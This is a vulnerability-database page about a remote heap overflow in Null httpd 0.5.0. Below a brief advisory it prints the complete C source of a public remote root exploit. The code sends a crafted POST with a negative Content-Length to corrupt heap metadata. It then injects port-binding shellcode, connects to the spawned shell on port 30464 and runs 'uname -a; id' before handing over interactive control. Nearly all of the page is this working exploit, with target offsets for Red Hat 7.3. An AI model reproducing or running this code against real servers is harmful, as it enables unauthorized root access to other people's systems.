Lucene search
K

Null HTTPd 0.5 - Remote Heap Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Null HTTPd 0.5 Remote Heap Overflow Vulnerability discovere

Code

                                                source: http://www.securityfocus.com/bid/5774/info

Null httpd is a small multithreaded web server for Linux and Windows, mantained by NullLogic.

A remotely exploitable heap overflow has been discovered in Null httpd. By passing a negative content length value to the server, it is possible to modify the allocation size of the read buffer, resulting in a heap overflow.

An attacker may exploit this condition to overwrite arbitrary words in memory through the free() function. This may allow for the execution of arbitrary code.

It should be noted that although reported on v0.5.0, earlier versions are likely vulnerable.


/*           _ ________            _____                        ______
    __ ___ ____       /____.------  ___/____ _______
         _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/
   ___ ._\    . \  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _
      - -------\______||--._____\---._______//-|__    //-.___|----._____||
                                               / \   /
                                                   \/
 "If we knew what it was we were doing, it would not be called research, would it?"
 ----------------------------------------------------------------------------------
 Remote Null httpd 0.5.0 root exploit        by eSDee of Netric (www.netric.org|be)
 Full advisory available at: http://www.netric.org/advisories/netric-adv009.txt

*/

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include "getopt.h"

struct {
        char *type;
        unsigned int retloc;
        unsigned int ret;

} targets[] = { /* Thanks tozz ;) */
        { "Null httpd 0.5.0 (Redhat 7.3)", 0x0804f334, 0x0804fbd1 },
        { "Crash         (All platforms)", 0xb0efb0ef, 0xb0efb0ef },
};

char shellcode[] = /* shellcode by R00T-dude ([email protected]) */
        "\xeb\x0a--netric--"
        "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\xb1\x06\x51"
        "\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd\x80\xb3\x02\xb1\x02\x31"
        "\xc9\x51\x51\x51\x80\xc1\x77\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24"
        "\xb2\x10\x52\x51\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80"
        "\xb3\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03\xcd\x80"
        "\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0\x66\xcd\x80\x89\xc3"
        "\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x41"
        "\x31\xc0\xb0\x3f\xcd\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f"
        "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c\x24"
        "\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

int sock;

void shell();
void usage();

void usage(char *prog)
{
        fprintf(stderr,"Usage: %s <-h host> <-t type> [-p port]\n", prog);
        exit(1);
}

void shell()
{
        fd_set  fd_read;

        char buff[1024], *cmd="/bin/uname -a;/usr/bin/id;\n";
        int n;

        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        FD_SET(0, &fd_read);

        send(sock, cmd, strlen(cmd), 0);
        while(1) {
                FD_SET(sock,&fd_read);
                FD_SET(0,&fd_read);
                if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
                if( FD_ISSET(sock, &fd_read) ) {
                        if((n=recv(sock,buff,sizeof(buff),0))<0){
                                fprintf(stderr, "EOF\n");
                                exit(2);
                        }
                        if(write(1,buff,n)<0)break;
                }

                if ( FD_ISSET(0, &fd_read) ) {
                        if((n=read(0,buff,sizeof(buff)))<0){
                                fprintf(stderr,"EOF\n");
                                exit(2);
                        }
                        if(send(sock,buff,n,0)<0) break;
                }
                usleep(10);
                }
        fprintf(stderr,"Connection lost.\n\n");
        exit(0);
}

int
openhost(char *host,int port)
{
        struct sockaddr_in addr;
        struct hostent *he;

        he=gethostbyname(host);

        if (he==NULL) return -1;
        sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
        if (sock==-1) return -1;

        memcpy(&addr.sin_addr, he->h_addr, he->h_length);

        addr.sin_family=AF_INET;
        addr.sin_port=htons(port);

        if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
        return sock;
}

int
exploit(char *host, int port, int type)
{
        char sendbuf[500];
        char buffer[377];
        int i=0;

        int sock2;

        sock=openhost(host, port);

        if (sock==-1) {
                fprintf(stderr,"Unable to connect.\n\n");
                exit(1);
        }

        fprintf(stdout, "Attacking (%s) ...\n", host);
        memset(buffer, 0xbf, sizeof(buffer) - 1);

        for(i=0;i<376;i=i+4)
        {
                buffer[i]   = 0xbf; /* must be a valid pointer */
                buffer[i+1] = 0xff;
                buffer[i+2] = 0xb0;
                buffer[i+3] = 0xef;
        }

        memcpy(buffer, shellcode, strlen(shellcode));

        buffer[359] = 0xff; /* prev_size */
        buffer[360] = 0xff;
        buffer[361] = 0xff;
        buffer[362] = 0xff;

        buffer[363] = 0xfc; /* size field */
        buffer[364] = 0xff;
        buffer[365] = 0xff;
        buffer[366] = 0xff;

        buffer[368] = (targets[type - 1].retloc & 0x000000ff); /* FD */
        buffer[369] = (targets[type - 1].retloc & 0x0000ff00) >> 8;
        buffer[370] = (targets[type - 1].retloc & 0x00ff0000) >> 16;
        buffer[371] = (targets[type - 1].retloc & 0xff000000) >> 24;

        buffer[372] = (targets[type - 1].ret & 0x000000ff); /* BK */
        buffer[373] = (targets[type - 1].ret & 0x0000ff00) >> 8;
        buffer[374] = (targets[type - 1].ret & 0x00ff0000) >> 16;
        buffer[375] = (targets[type - 1].ret & 0xff000000) >> 24;

        buffer[376] = 0x0;

        snprintf(sendbuf, sizeof(sendbuf) -1, "POST / HTTP/1.0\n"
                                              "Content-Length: -800\n"
                                              "\n\n%s\n",buffer);

        write(sock, sendbuf, strlen(sendbuf));

        sleep(4);
        close(sock);

        sock=openhost(host, 30464);
        if (sock==-1) {
                fprintf(stderr,"Failed.\n\n");
                exit(1);
        }

        fprintf(stdout, "Exploit successful!\n");
        fprintf(stdout, "------------------------------------------------------------------\n");
        shell(sock);
        close(sock);
        return 0;
}

int
main (int argc,char *argv[])
{
        char host[256];
        int i,opt,type=0,port=80;

        fprintf(stdout,"Null httpd 0.5.0 remote root exploit            by eSDee of Netric\n");
        fprintf(stdout,"--------------------------------------------------(www.netric.org)\n");

        memset(host, 0x0, sizeof(host));

        while((opt=getopt(argc,argv,"h:p:t:")) !=EOF)
        {
                switch(opt)
                {
                        case 'h':
                                strncpy(host, optarg, sizeof(host) - 1);
                                break;
                        case 'p':
                                port=atoi(optarg);
                                if ((port <= 0) || (port > 65535)) {
                                        fprintf(stderr,"Invalid port.\n\n");
                                        return -1;
                                }
                                break;
                        case 't':
                                type=atoi(optarg);
                                if (type == 0 || type > sizeof(targets)/12) {
                                        for(i = 0; i < sizeof(targets)/12; i++)
                                                fprintf(stderr, "%d. %s\t (0x%08x - 0x%08x)\n",
                                                                i + 1,
                                                                targets[i].type,
                                                                targets[i].ret,targets[i].retloc);
                                        fprintf(stderr, "\n");
                                        return -1;
                                }
                                break;
                        default:
                                usage(argv[0]);
                                break;
                }

        }

        if (strlen(host) == 0) usage(argv[0]);

        if (!type) {
                fprintf(stderr, "No target given, use -t0 for a list.\n\n");
                return -1;
        }

        if (exploit(host, port, type) < 0) {
                fprintf(stderr, "Failed.\n\n");
                return -1;
        }

        return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14